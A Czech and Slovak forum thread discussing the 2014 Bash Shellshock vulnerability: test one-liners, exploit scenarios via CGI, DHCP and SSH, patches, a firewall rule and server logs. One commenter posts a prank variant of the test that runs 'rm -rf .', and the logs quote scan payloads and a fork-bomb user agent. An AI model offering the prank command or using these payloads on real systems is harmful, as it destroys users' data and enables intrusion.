Bezpečnostní problém v Bashi

V Bashi byl objeven vážný bezpečnostní problém CVE-2014-6271. Zpracování proměnné může vést k spuštění příkazu v proměnné obsaženého. Aktualizace jsou k dispozici (Debian, Ubuntu, Red Hat Enterprise Linux, ...). [Hacker News]

24.9.2014 20:10 | Ladislav Hagara | Bezpečnostní upozornění

Komentáře

[ewew]

Upgrade done.

[afaga]

Nepomohlo ti to pretoze ten patch je incomplete. Viva la open source

[Michal Kubeček]

Hm… a jak vy vlastně víte, jaký patch kolega použil?

[agadg]

Pretoze vsetky momentalne dostupne patche su nekompletne.

[Michal Kubeček]

A vy vidíte do všech počítačů všech lidí na světě, že to můžete s jistotou tvrdit?

[agadg]

Vidim ze nejaky ewew z random blogu nema skills na to aby napisal final fix pre bug s ktorym maju problem aj najvacsi experti v OSS.

[Michal Kubeček]

…jako třeba agadg a afaga z téhož random blogu.

[CH]

Pomohlo, protoze to opravilo cast zname chyby.

[xhc]

Downgrade up.

[mektige]

Jak poznat zranitelnost systému:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you see:

vulnerable
this is a test

Then you are vulnerable and need to update your system.

[Bedňa]

Máš to zle, správne má byť

env x='() { :;}; echo more space' bash -c "rm -rf ."

[Bedňa]

Nezabudnúť si prečítať toto.

[Andrej]

To ale pomůže jen na Ext{3,4}.

[Rad]

ano, takto to funguje lepe

BTW: jednou mi za podobny navod kamarad podekoval - pak mu najednou (po donstalovani vseho potrebneho) slapal pocitac o poznani rychleji

[vandrovnik]

Hlavně doufám, že to nějaký chudák fakt nevyzkouší. Psát takovéhle rádoby vtipné příspěvky mi připadá poněkud dětinské...

[Václav "Darm" Novák]

Pokud souhlasíte s dětinskostí takových postů, hlasujte prosím kombinací Alt + F4. (ale souhlas, byl to blbej a nebezpečnej vtip)

[Bedňa]

Zatiaľ je ticho, takže tu chodia len vzdelaní ľudia a na druhej strane tí ktorí nevedia kde to nakopírovať.

[JeChW]

A nebo ti, co to spustili, už nemají, jak sem něco napsat.

[abc]

Píšu z kamarádova počítače. Kamarád říkal, že si myslí, že obsah mého počítače už není pro nikoho zajímavý.

[Bedňa]

[Václav "Darm" Novák]

Chodí sem i naprostí začátečníci, stačí se podívat do poradny. A zrovna post o bezpečnostním problému (a to dost velkém) lidi dost přitáhne, i začátečníky. A spuštěním takového testu je můžeš dost poškodit, snížit jejich důvěru v portál jako takový…

[Heron]

Ačkoliv nechci nijak obhajoval postování takových komentářů, tak upřímně, právě proto, že se jedná o komentář o bezpečnostím problému, tak by ten admin měl být obezřetný a dávat si o to větší pozor co spouští. Takže pokud si hloupě ten příkaz spustí aniž by se podíval, co vlastně dělá, tak to pro něj může být obrovským poučením pro příště.

Nehledě na to, že to, co si z webové stránky zkopíruje vůbec nemusí odpovídat tomu, co na té stránce vidí. Jsou JS scripty, které do zkopírovaného textu přidávají URL článku, a jsou pochopitelně skripty, které do schránky vloží libovolný obsah.

Jestli si někdo z Bedňova komentáře odnese alespoň toto, tak je to pozitivní.

[mektige]

Bedňa tam moh dát aspoň relativně neškodnou fork bombu místo rm -rf

[Václav "Darm" Novák]

Admin ano. Uživatel nikoliv (resp. nedá se to očekávat)

[Petr Tomášek]

Prosím, nepanikařte:

~$ mkdir asdf ~$ cd asdf ~/asdf$ rm -rf . rm: cannot remove directory: `.'

[Petr Tomášek]

Sorry, blbá HTMl značka. Správně:

~$ mkdir asdf
~$ cd asdf
~/asdf$ rm -rf .
rm: cannot remove directory: `.' 

[Václav "Darm" Novák]

Aha, neumím číst :D

[a]

Prisiel som o data a system, dakujem :(

[Michal Kubeček]

To ale testuje jen jednu část problému. Tohle je neméně zajímavé:

  env /bin/false='() { echo ahoj; }' bash -c /bin/false

[cezz]

Tam uz ale potrebujes mat moznost nastavovat velmi specificke env, co vyrazne znizuje vyuzitelnost takeho exploitu. Opravte ma niekto ako sa mylim.

(Nevravim, ze to nie je zranitelnost, ale zneuzitelnost je obmedzena)

[Ondrej Santiago Zajicek]

Tohle vypada spis jako featura nez jako bug. A nelze to povazovat za bezpecnostni problem, protoze standardni praxe pri prechodu mezi urovnema opravneni veli vyresetovat environment az na whitelistovane promenne. Oproti tomu spusteni kodu, ktereho lze dosahnout skrz libovolnou promennou, je potencielne zneuzitelna dira.

[Petr Ježek]

Proč ne zsh?

[chrono]

Podporuje zsh exportovanie funkcií cez premenné prostredia?

[Petr Ježek]

Samozřejmě. Viz např. tohle.

[chrono]

V tom skripte vidím iba exportované premenné (a nie funkcie). :)

[Petr Tomášek]

A proč ne bflmpsvzsh?

[Mti.]

Protoze to Vase je moc dlouhe.

[had]

Takze pretoze je bash opensource prisli sme na chybu skor ako sa stihla dostat a rozsirit vsade...OH WAIT A pretoze to je open source bol hned vydany kompletny patch co chybu riesi...OH WAIT

[mankind_boost]

Pointa?

[Václav "Darm" Novák]

A protože je OS X closed source, tak ještě nemá ani ten částečný patch co je na Linuxu všude kde se pravidelně updatuje.

[Václav "Darm" Novák]

No, dobře, není to proto že je closed source, ale co jsem chtěl říct je snad jasné. Alespoň částečný fix přišel brzy, na Windows nebo OS X stav kdy je systém nezabezpečený zpravidla trvá déle

[chrono]

Vyšla záplata aj pre verziu, ktorú používa Apple.

[Václav "Darm" Novák]

Oficiální? Kámoš s Apple žádné aktualizace nehlásil…

[chrono]

Oficiálna v zmysle, že ju vydali správcovia bash (takže ak Apple bude chcieť, môže tú záplatu použiť).

[Václav "Darm" Novák]

Což je běžnému Frantovi, který čeká na aktualizace od Apple, celkem k ničemu. Majoritní distribuce opravené verze šíří mnohem rychleji.

[mankind_boost]

No to je fakt perla

[Vykook]

Closed Source? http://www.opensource.apple.com/source/bash/

[houska]

Severity set to 'grave' from 'critical'

[brozkeff]

Pokud máte někde tak jako já ještě nasazený debian6, tak je nutné přidat si apt repozitář

deb http://http.debian.net/debian/ squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free

https://wiki.debian.org/LTS/Using

(stačí main)

a poté upgradovat bash. Původní repozitáře včetně security mi v tuto chvíli stále nabízely zranitelnou verzi.

[nimda]

(to už jste měl udělat v květnu :P)

[Ondrej Santiago Zajicek]

Kde vlastne je takova chyba v praxi zneuzitelna? Prvni me napadlo sudo spoustici bashovy skript, ale to to ma zrejme preventivne osetrene:

man sudoers:

In all cases, environment variables with a value beginning with () are removed as they could be interpreted as bash functions.

Nejake jine suid programy poustici bash jako subshell?

[chrono]

Najviac sa píše o obsluhovaní webu pomocou CGI skriptov (pretože niektoré hlavičky sa priamo vložia do premenných prostredia pre spúšťané skripty).

[Ladislav Hagara]

Problém byl pojmenován Shellshock.
Ad CGI skripty: Bash 'shellshock' scan of the Internet

[Ladislav Hagara]

Everything you need to know about the Shellshock Bash bug
This 'bash' bug is probably a bigger deal than Heartbleed, btw.

[Michal Kubeček]

Problém se týká třeba i vzdáleného přihlášení přes SSH s vynuceným příkazem (případně SCP/SFTP only), protože tímhle trikem lze omezení obejít.

[rootless.rooter]

Ok, shits real. Its in the wild:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

[R]

To je podla mna zaujimavejsie ako nejake CGI (nepoznam nikoho, kto ma CGI v Bashi). Ale zase musi byt utocnik prihlaseny.

Aj pri DHCP to moze byt zaujimave, akurat je to obmedzene na lokalnu siet. Zaujimave to moze byt pri mobilnych zariadeniach, ktore sa pripajaju na cudzie wifi. Ale pokial viem, tak v Debiane je defaultny shell dash, takze aj DHCP klient ho pouziva na spustanie skriptov.

[chrono]

CGI nemusí byť robené ako shell skript pre bash, stačí, aby sa použila nejaká funkcia, ktorá použije bash (napr. funkcia system).

[cezz]

V pripade CGI staci aby samotny CGI skript bol spustany ako prikaz v bashi, kedze headers a dalsie info sa predava ako env. variable.

[pavlix]

Smysl tohoto komentáře v kontextu, kde se mluví o tom, že se nemusí nutně jednat o bashovský CGI, mi snačně uniká.

[cezz]

Bola to reakcia na komentar od "R" o uroven vyssie. V podstate pisem to iste co chrono, len inak a klikol som na zly link pri odpovedi.. Sorry.

[pavlix]

Ve skutečnosti píše chrono úplně něco jiného.

[cezz]

Hej, on pise o system v CGI skripte, ja priamo v serveri, ale chapeme sa nie?

[pavlix]

On psal v kontextu bashovských CGI skriptů a upozorňoval na to, že se to týká i nabashovských skriptů, které spustí shell třeba pomocí system(), čímž pokryl to, co v kontextu předchozího komentáře chybělo.

[cezz]

A ja som dodal, ze nemusi ist ani o bashovy skript ani o nebashovy skript ktory spusta shell cez, napriklad, system(), ale moze to byt inak uplne neskodny cgi skript ktory je webserverom spusteny cez system().

[pavlix]

R: CGI v bashi není moc zajímavé

chrono: nemusí to být jen CGI v bashi

cezz: stačí aby to bylo CGI [o kterém psal R]

cezz: může to být CGI v bashi [o kterém psal R]

cezz: v podstatě píšu to samé, co chrono [který naopak upozorňoval na případ, kdy to není CGI]

cezz: a já jsem dodal, že to může být CGI [you don't say, když o CGI psal už R]

cezz: může to být (neškodný) CGI (skript) [aneb to už jsem sice říkal a o CGI dávno psal už R]

Popravdě mi nijak nevadí, že opakuješ již řečenou a známou věc, jen mě stále překvapuje, že máš pocit, že přinášíš do diskuze něco nového a vůbec se nemůžu dopátrat, co. Budu rád, když se vyjádříš a napíšeš mi přesně, co mi uniká.

[cezz]

Chrono: "CGI nemusí byť robené ako shell skript pre bash, stačí, aby sa použila nejaká funkcia, ktorá použije bash (napr. funkcia system)."

Ja osobne som toto pochopil tak, ze CGI skript nemusi byt v bashi, staci aby CGI skript (v akomkolvek jazyku) pouzil system() a je to derave. Na to som ja reagoval, ze ten CGI skript moze byt napisany uplne v hocicom a nemusi robit absolutne NIC nebezpecne a staci ze server spusta samotny skript cez system() a je to derave.

V zasade sa da to, co pisal chrono chapat aj tak, ze kdekolvek po ceste REQUEST->RESPONSE sa zavola system() a je to derave - a v tom pripade by bola moja reakcia len poukazovanie na konkretny krok v retazi. Ale ja som to tak nepochopil. Ty si to tak zjavne pochopil a preto (mozno spravne) usudzujes, ze nepisem nic nove.

Ako to naozaj chrono myslel NEVIEM.

[pavlix]

Ja osobne som toto pochopil tak, ze CGI skript nemusi byt v bashi, staci aby CGI skript (v akomkolvek jazyku) pouzil system() a je to derave.

Chápu to podobně, až na to, že se nejedná o CGI skript napsaný v bashi, ale skript spuštěný jakýmkoli mechanismem, který nastavuje proměnné prostředí z klientem dodaných dat.

Už začínám chápat, v čem jsme si nerozuměli. Zatímco R počítal se zavoláním bashe z důvodu, že je (CGI) skript identifikován jako shellovský skript (pomocí shebang, přípony, ...), chrono upozornil na možnost spuštění bashe díky volání system(), ale nespecifikoval, jak k němu dojde. Ty jsi to interpretoval jako volání z (CGI) kódu webserveru, já jsem to identifikoval jako volání system() z ḱódu webové aplikace, které jsou nějaká data od klienta předána pomocí proměnné prostředí (což platí pro CGI a podobné mechanismy).

Zjevně ani jednomu z nás nedošla ta víceznačnost a nakonec tím mohl myslet kteroukoli možnost nebo dokonce obě dohromady. Každopádně díky za podrobnější rozepsání, takhle je to užitečné i pro mě ;).

[cezz]

Mne ta nejednoznacnost dosla az ked si reagoval na moj comment a ja som si cely thread precital tak 3x. Dovtedy mi ani nenapadlo chapat to v tom zmysle ako si to (zrejme) chapal ty. No zjavne by som nebol dobry pravnik.

[Jendа]

V mobilních zařízeních (jako mobily, embedded a tak) bude nejspíš busybox. Ale jo, v notebooku jo.

Btw. kdo všechno tu používá ve skriptech res=`wget -O - url`? :)

[nimda]

Také třeba DHCP.

Já než sem se dostal k aplikování patche, tak už byly dva pokusy kolem sedmé ráno, jeden od Roberta Grahama, který skenoval celý internet, a další už byl od někoho, kdo to zkoušel přes massscan s nekalými úmysly. Ale obojí zachytil snort, doporučuju ho používat :)

[Jendа]

Zajímavé, jaké pravidlo snortu to našlo?

[Jendа]

Za mě: mám několik C&C serverů, boti mají SSH klíč, který na tom serveru má v authorized_keys nastavené command="handler_v_bashi". Samozřejmě mi to hned kamarádi exploitli.

Dále mám jeden web s CGI, kterému ale naštěstí nepředávám environment.

[Jendа]

Jinak takhle se často používá taky git přes ssh.

[Šangala]

Tu mu „handler_v_bashi“ něco předáváš?

Ptám se bo nevím, pokud je tam jen příkaz, který se má provést, jak využiješ této zranitelnosti?

[Jendа]

Tu mu „handler_v_bashi“ něco předáváš?

U toho botnetu mu předávám jako parametr číslo bota, v druhé aplikaci mu nepředávám nic. Exploitnout to ale jde v obou případech, protože mu to předává SSH.

[pc2005]

Ale ti kamarádi to exploitli jen protože svěřuješ botům ssh klíč ne (a kamarádi mají přístup k botům)? Mohli by pro útok použít samotné přihlášení na ssh?

[Jendа]

Ale ti kamarádi to exploitli jen protože svěřuješ botům ssh klíč ne (a kamarádi mají přístup k botům)?

Ano, svěřuji, ano, mají. Dokonce mám dva boty: jedno je IRC bot (Jendabot, k vidění na #brmlab), do kterého se posílají zprávy třeba z pokladničky v brmbaru (bonzuje dlužníky). Druhý systém, naprosto nezávislý, je síť plastových krabiček s Raspberry Pi, které sbírají data. Samozřejmě není problém pro člověka s fyzickým přístupem krabičku rozdělat a klíč dumpnout. V tom handleru, který se spouští, je samozřejmě přísný sanitizing - kontroluje se například, kolik dat bot poslal, aby nešlo vyleakovat místo na disku, formát dat a tak. Ale to je samozřejmě úplně k prdu, když si bokem spustí netcat se shellem.

[pc2005]

Jasný.

P.S. Čistě technický zájem: jaké výhody poskytuje řešení se ssh oproti nějakému vlastnímu protokolu?

[Jendа]

Chtěl jsem snadnou autentizaci klíčem s možností tunelování portů (krabička mi udělá ssh -R a já se tam můžu připojit a ladit) a napadlo mě tohle. Nechtělo se mi to implementovat od nuly.

[pc2005]

Aha

[Ladislav Hagara]

CVE-2014-7169: Bash Fix Incomplete, Still Exploitable (seclists.org)

[washeck]

Přidal jsem pravidlo do firewallu:

iptables -A INPUT -m string --hex-string '|28 29 20 7B|' --algo bm -j DROP

Doufám, že to zabrání škodám než vyjde pořádná oprava.

[chrono]

Poriadna oprava už vyšla.

[petr_p]

Dnešní security updates na LWN jsou vypečené:

Gentoo has updated bash and bash.

[joejoe]

Docela by me zajimalo jak rychle se bude nasazovat fix. Podle logu uz maji muj server otestovany.

$ grep "() {" logs/access_log

209.126.230.72 - - [25/Sep/2014:03:30:18 +0200] "GET / HTTP/1.0" 200 1369 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

89.207.135.125 - - [25/Sep/2014:08:32:22 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 300 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

[Conscript89]

Otestovany jo, ale ping se afaik neprovedl diky 404 a pokud jsi v / nemel cgi-bin v bashi :) U me byl scan o 4 hodiny pozdeji a jeste jsem patch nemel :/
Jinak tu je vylepseny hledani:
egrep '"\s*\([^)]*\)[^{]*{' *access_log*

A vubec, hlavne by to melo upozornit, ze cgi-bin neni moc bezpecny. Doted jsem si to tolik neuvedomoval.

[Petr Tomášek]

První řádek vrátil 200 OK.

[Conscript89]

To jo, vsak pokud tam nemel vgi-bin v /, tak je v klidu.

[Jendа]

Už je to in the wild.

89.207.135.125 - - [25/Sep/2014:08:16:53 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 345 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Pingnul jsem je ručně, ještě se nic nestalo.

[Jendа]

Objevil se mi v logu regulérní uživatel, který má jako user-agent nastaveno () { ignored; }; : :(){ :|:& };:

[gtz]

bash: varování: x: ignoring function definition attempt
bash: chyba při importu definice „x“
this is a test

Mně to píše viz výše ...

Název: bash, Verze: 4.2-68.4.1 , Opensuse 13.1

[Andrej]

Napadá mě spousta otázek.

Proč je kolem běžné tuctové chyby nevalného významu takový hloupý humbuk? Proč se všichni tváří důležitě, jako by zrovna vlítlo hovno do větráku? Jak může někdo zcela vážně tvrdit, že Bash, který sám od sebe neposlouchá na síti, má „remotely exploitable“ chybu? Proč o tom hloupý bulvár píše, jako by to byla chyba v samotném Linuxu a jako by to snad ohrožovalo desktopy, na kterých neběží žádný server?!

Jak dlouho se ještě hodlají všichni tvářit jako na pohřbu a předstírat, že je to opravdu něco důležitého, něco tajemného, něco extrémně nebezpečného? Sice si nikdo neumí to děsivé nebezpečí skoro ani představit, ale o to děsivější to je, že ano. To je fakt úsměvné a celé to šílenství mě opravdu náramně baví.

Zabezpečení systému sestává z mnoha vrstev a tady selhala nanejvýš jedna z nich, navíc používaná jen v nepatrném zlomku případů. Například konkrétní důsledky pro můj server jsou zcela jasné: Uživatel, který má správný soukromý SSH klíč, může obejít autentifikaci v Gitolite (pokud pošle bashi přes SSH tu správnou definici funkce) a na základě toho pak poškodit všechny Git respository, včetně těch, k nimž mu Gitolite za normálních okolností nepovolí přístup. Takže pokud by selhala první linie zabezpečení (SSH autentifikace), například kvůli ukradenému soukromému klíči nebo nakrknutému uživateli, byly by pak Git repository vystavené riziku. Musely by pak být obnoveny ze záloh. Jaká hrůza!!! Nikde v tom ale není žádný root exploit, žádná možnost poškozovat něco mimo adresář s Git repository ani nic podobného.

Samozřejmě je vhodné okamžitě aktualizovat Bash. O tom není sporu. Ale bylo by super, kdyby přestaly všechny ty zděšené výkřiky. Zase tu vidíme dvojí metr v akci. Ve Windows jsou mnohem závažnější chyby naprosto běžné. Byly tam exploity, které uměly spustit kód ukrytý v archivech, v obrázcích či všude možně a chyby tohoto typu se objevují poměrně často. Nikdy jsem ale neviděl, že by nějaký bulvár kvůli tomu takhle vyšiloval.

[coder]

Asi tak +1

[chrono]

Jak může někdo zcela vážně tvrdit, že Bash, který sám od sebe neposlouchá na síti, má „remotely exploitable“ chybu?

Pretože ak program, ktorý počúva na sieti, spúšťa nejaký príkaz, tak je možné, že na to bude využitý práve bash (a napr. pomocou CGI nie je problém dostať vhodne pripravené dáta do premennej prostredia).

[Andrej]

Jasně, ale pořád je trochu oxymoron říkat tomu „remote exploit v Bashi“.

Servery můžou různé programy spouštět mnohem efektivněji bez použití shellu — prostě zavolají execve() a je vymalováno. Použití bashe pro tyto účely podle mě nebude zdaleka tak časté, jak se zdá. Leda že by někdo chtěl z PHP spouštět nějakou složitou pipeline za použití shellu. (Pak mě ale nepřekvapuje, že kromě problémů s efektivitou může mít takový návrh i bezpečnostní nedostatky.) Gitolite přes SSH prostě nemá na výběr, protože bash se spustí dřív než cokoliv jiného. Většina ostatních aplikací ovšem na výběr má a to platí o pro webové servery.

[Martin Tůma]

Servery můžou různé programy spouštět mnohem efektivněji bez použití shellu — prostě zavolají execve() a je vymalováno.

A nebo taky system()...

[trekker.dk]

Jsme rádi, že jste nás jako odborník na bezpečnost (a železniční dopravu a hardware a všechno) přišel zachránit před zbytečnou panikou prohlášením, že podle vás použití bashe pro takové účely nebude tak časté. Kdybyste se obtěžoval přečíst si v diskuzi odkazované články, zjistíte, že někdo nespekuloval, ale prostě to zkusil a podařilo se mu poměrně primitivním testem exploitnout cca 2% - náhodných, pokud jsem správně pochopil - webserverů, na kterých to zkusil.

[Andrej]

Jasně, 2% webserverů, jaká to hrůza! Přesně v tom je celá pointa! Já prostě tvrdím, že nemá žádný smysl děsit běžné uživatele desktopů bulvárními poplašnými zprávami.

Pro odborníky a správce serverů je tato zpráva samozřejmě důležitá a musí se podle ní zařídit. (Například kvůli Gitolite, jak už jsem psal.) Je ovšem hloupé, když na rádoby technicky zaměřených webech publikují poplašné zprávy lidé, kteří si pletou Linux s Bashem. (Řeč je o výše odkazovaném článku na technet.idnes.cz.) To je klasický dvojí metr. Je zajímavé, že média nijak zásadně neječela a nepanikařila, když řádil Sasser a pozdější slavné exploity pro Windows, zatímco údajně kritická (a ve skutečnosti prostě tak nějak průměrná a nijak výjimečná) chyba v Bashi je najednou kus senzace a „chyba Linuxu“.

Jsou vaše jízlivé poznámky o odbornících na všechno pouhý egoobranný reflex v argumentační nouzi, nebo mají nějaký hlubší význam?

[Michal Kašpar]

Člověče přečtěte si ten článek. 2 % jsou to proto, že je to jen PoC, kde se vůbec nesnažil řešit věci typu umístění pingu, měl chybně udělané přijímání, testoval jen primární domény v rámci vhostů atp. Tahle chyba je kritická a třeba v případě http serverů výrazně horší než heartblead, protože ten klíč k certifikátu si přes ni přečtete taky a jako bonus můžete dělat spoustu dalších věcí.

Navíc existuje už snad 20 let, takže těžko říct, jak dlouho už je tiše zneužívána, ale teď po celém internetu kolují triviální skripty, které dokáže k útoku na neopravené servery (a že jich ještě dlouho bude) upravit snad i moje babička.

[j]

No jiste, to promile web serveru ktery to umoznej si to jedine zaslouzi. Normalni web rozhodne nic co prijde at ur zpres get nebo pres post nepreda nikam ke spusteni.

[Jendа]

„Nastavím to do environmentu“ znamená „předám ke spuštění“? (navíc ten environment nastavuje ve většině případů webserver, ne aplikace)

[Heron]

protože ten klíč k certifikátu si přes ni přečtete taky

Jak?

[Michal Kašpar]

Máte pravdu, že ten asi ne. Neuvědomil jsem si, že ho (alespoň u Apache, u jiných webserverů netuším) načítá a drží pouze ten proces, který běží jako root.

[Ondrej Santiago Zajicek]

Jasně, ale pořád je trochu oxymoron říkat tomu „remote exploit v Bashi“.

To je slovickareni. Obdobne bychom taky mohli rict, ze Heartbleed v OpenSSL vlastne nebyla remote exploitelna chyba, protoze to je jen knihovna a ta sama nikde neposloucha. Remote expoitelna byla az kombinace OpenSSL s nejakym demonem. Nicmene ten rozdil neni moc relevantni.

[Martin Tůma]

Musely by pak být obnoveny ze záloh. Jaká hrůza!!!

No ono to taky nemusí být tak nevinné jako mazání... Pokud se někdo dostane k repozitory, ke které nemá jinak přístup, může do SW v ní propašovat nějaký svůj backdor aniž by si toho kdokoliv všimnul. A to už taková prdel neni...

[Andrej]

Samozřejmě. Pokud by se útočník dostal k některému z SSH klíčů uživatelů, mohl by pak v Gitu dělat cokoliv. Ještě snáze proveditelná hrozba než změny kódu je i pouhé nahlížení do repository, jejíž majitel spoléhá, že do ní nikdo jiný nevidí.

Problém v Bashi tedy zredukoval složitý systém oprávnění v Gitolite v podstatě do stavu, kdy všichni můžou všechno (jakmile mají povolený SSH klíč). To je nepříjemné až na půdu.

Ale tohle se naštěstí týká jen správců serverů, nikoliv nějakého domácího uživatele s desktopem, který na tom desktopu žádné serverové služby neprovozuje. Pokud tedy nenaklonuje software s backdoorem z napadené Git repository.

[Heron]

To jako že změní historii gitu a nikdo z klientů si toho při pull nevšimne? Když nebude sedět celý strom? Nehledě na podepsané commity?

[Martin Tůma]

Ve velkém projektu stačí udělat commit do nějaké části, do které se aktuálně moc nešahá a pravděpodobnost, že to nikdo nebude zkoumat je dost vysoká.

[Michal Kašpar]

Protože ke zneužití na spoustě defaultně nainstalovaných systémů nepotřebujete žádný lokální účet ani žádný ssh klíč. Stačí něco, co přijímá data ze sítě:

- třeba DHCP klient

- nebo Apache s povolenými CGI skripty a /bin/sh jako symlinkem na bash (RH based distribuce to tak mají, pokud vím, všechny (na druhou stranu mají zase selinux, který má potenciál se v tuhle chvíli skvěle osvědčit)) V obou případech dojde ke spuštění libovolného programu pod právy příslušného procesu. Odkud už je většinou k lokálnímu rootu celkem kousek.

[Andrej]

To s Apache a CGI je jistě riziko a je prostě bezva se něčemu takovému vyhnout. Naštěstí na běžném uživatelském desktopu nic takového s největší pravděpodobností v provozu není.

Mechanismus útoku pomocí falešného DHCP serveru a Bashe už existuje, vzhledem k tomu, že DHCP klient většinou spouští nějaké divně napsané konfigurační skripty. Bezesporu jde o velké riziko a bezesporu je potřeba aktualizovat Bash a případně konečně vymyslet nějaké bezpečné DHCP klienty.

Nejde ale o žádné „extrémní nebezpečí“ pro všechny uživatele. DHCP totiž funguje pouze na lokální síti. Takže útok by vyžadoval, aby si někdo z lidí na lokální síti spustil svůj vlastní DHCP server, který by mohl, bude-li mít štěstí a odpoví-li s menší latencí než „oficiální“ DHCP server, podstrčit klientům kód ke spuštění pod rootem. To je ve větších sítích jistě proveditelné, ale nemá smysl děsit uživatele zkazkami, že se jim v jejich domácí síti se dvěma a půl počítači něco takového stane.

[Conscript89]

Nejprve tvrdite, ze to neni problem desktopovych uzivatelu, ale je to problem serveru. Ted zase ze desktopu to neni problem protoze ten je na lokalni siti. A co tahkle dostat skodlivy kod na routery a z nich pomoci DHCP i tem desktopum? To uz se jich tyka? Sam provozuju router+webserver, nastesti s CentOS 6 a SELinuxem a vypnutym cgi-bin. Nebezpeci tam ale vidim velke. A nejde k tomu pristupovat takovym zpusobem ze pohodicka, to ze je chyba u me nevadi, protoze Pepa vedle me kontroluje co se deje a on to urcite zvladne.

[Rezza]

What does SELinux do to contain the the bash exploit?. Did you setenforce 1?

[Ondrej Santiago Zajicek]

Proč je kolem běžné tuctové chyby nevalného významu takový hloupý humbuk?

Je to chyba v interpretu (casto pouzivaneho) programovaciho jazyka, ktera pomerne brutalnim zpusobem narusuje barieru mezi daty a kodem.

V dusledku toho je deravy kazdy program bezici v danem interpretu, kteremu se predavaji urcitym zpusobem data z jine bezpecnosti domeny.

jako by to snad ohrožovalo desktopy, na kterých neběží žádný server?!

Kdyz se clovek chvili zamysli, tak ho napada spousta mist, kde by tato chyba mohla narusit bezpecnost na desktopech. Napr. suid program spoustici podprogram a zachova pri tom nektere whitelistovane promenne. Nebo mailovy klient poustici helper pro prilohu a predavajici v promennych metadata z MIME hlavicek. Potencialncih moznosti je spousta. Jaka jsou realna rizika v bezne out-of-the-box nainstalovane desktopove distribuci je ale pomerne zajimava otazka.

[trekker.dk]

Nehledě na to, že o narušení bezpečnosti na desktopech se mimo jiné pokouší i napadené servery - ať už umístěním virů na webech či rozesíláním spamu

[Andrej]

S tím ale běžní desktopoví uživatelé nemůžou nic dělat. Zase o důvod víc, proč je neděsit bulvárními zprávami o apokalypse. Ještě jim někdo začne tvrdit, aby třeba tak týden nepoužívali web, protože zrovna teď můžou být všude viry.

[Andrej]

Ale proč by ten suid program měl používat Bash ke spouštění něčeho? Použití execve() je nakonec i mnohem snazší a žádný Bash v tom nefiguruje. Pokud potřebuje nějaké složité expanze názvů souborů, na které by potřeboval použít shell (aby je nemusel sám implementovat), může si přece execnout bash jen s potřebným „echo wildcard“ příkazem, bez jakýchkoliv dalších součástí příkazové řádky a zejména bez prefixů v podobě přiřazení proměnných. Přesně tohle řešení bych zvolil já, kdybych už ten shell fakt spouštět musel. Ten suid program má přece kompletní kontrolu nad tím, co tomu Bashi předá a co ne. Proto by mu měl chtít předat jen nezbytné minimum. Proměnné mu může předat přímo v execve() pomocí klasického environment pole a tím se úplně vyhne parsování potenciálně škodlivého přiřazení proměnné/funkce Bashem.

Neumím si moc představit suid program, který by byl ochotný vygenerovat nějaký podezřelý skript pro Bash přímo ze vstupu od uživatele a ten Bash pak jako root spustit. Takový suid program bych nechtěl nikde mít.

Tohle je jeden z mnoha důvodů, proč si myslím, že rizika nejsou tak velká, aby stála za ten extrémní povyk, který se kolem toho najednou strhl.

[Jendа]

Neumím si moc představit suid program, který by byl ochotný vygenerovat nějaký podezřelý skript pro Bash přímo ze vstupu od uživatele a ten Bash pak jako root spustit. Takový suid program bych nechtěl nikde mít.

Já také ne. Ještě štěstí, že o tom předřečník nepsal.

[Andrej]

To sice ne, ale je to jeden z mála možných (a krajně nepravděpodobných) scénářů, kvůli kterým by se pomocí nějakého suid programu dal nějak zneužít tento bug v Bashi. Pokud suid program něco spouští standardním způsobem pomocí execve(), může spouštěnému procesu předat proměnné prostředí, jaké chce, a žádný Bash v tom nebude hrát roli.

[Ondrej Santiago Zajicek]

Ale proč by ten suid program měl používat Bash ke spouštění něčeho? Použití execve() je nakonec i mnohem snazší a žádný Bash v tom nefiguruje.

To ti moc nepomuze, pokud samotny spousteny program je (pevny, negenerovany) bashovy skript.

V pripade suid programu bych pouziti execve() ocekaval, ale v ostatnich zminovanych pripadech (napr. mailovy klient spostici helper na prilohu, mail filter a la procmail spoustici externi program na filtrovani mailu) bych cekal spis ten system().

[Jendа]

To ti moc nepomuze, pokud samotny spousteny program je (pevny, negenerovany) bashovy skript.

Nebo někdo udělal program.real a do program z nějakého důvodu napsal shellový wrapper. A že jich je. Na mém systému 157.

for d in `echo $PATH|tr ":" " "`; do find $d -maxdepth 1 -type f | while read res; do file $res; done; done|grep "Bourne-Again shell script"|wc -l
157

[Jendа]

Ach jo.

• command="" přes SSH zdaleka není problém jen gitu, já takhle třeba řídím boty v botnetu.
• git repozitář lze poškodit tak, aby si toho dost dlouho nikdo nevšiml. Třeba do něj lze přidat škodlivý kód.
• Mám web, který spouští příkazy.
• Mám mailserver s custom filtrem mailů, který je - světe div se - shellový sktipt, který aplikuje nějaké regexpy a podle toho mail přepošle/doručí.

[Andrej]

• Pointu ohledně Gitu tedy vysvětlím ještě jednou. Byla to jediná služba na mém serveru, které se problém Bashe týkal. Command přes SSH je samozřejmě naprosto normální jev, zejména když člověk používá pssh pro paralelní ovládání více strojů. V takovém případě ale má beztak oprávnění spouštět tam jakékoliv příkazy i uživatelské relace, takže tím žádné zabezpečení neobchází a nepotřebuje obcházet. Chyba v Bashi tedy v tom případě na situaci nic nemění. Pouze v případě Gitu děravý Bash uškodí, protože Gitolite je tam právě od toho, aby zabránil spouštění libovolných příkazů a aby zajistil identifikaci a autentifikaci uživatelů, kteří používají (jak je u Gitu zvykem) všichni jeden UNIXový účet (aby se kvůli přístupu do Gitu nemusely rozdávat na potkání UNIXové účty).
• Ano, Git repozitář lze poškodit mnoha zákeřnými způsoby, pokud někdo získá některý z přijatelných SSH klíčů a přes děravý Bash se ke Gitu dostane. Hlavní problém je, že uživatelé, kteří mají na mém serveru neveřejné Git repository, se celou dobu spoléhali, že Gitolite k nim nikoho neoprávněného (byť s přijímaným SSH klíčem) nepustí. To se spoléhali skoro správně, nebýt ovšem problému s Bashem.
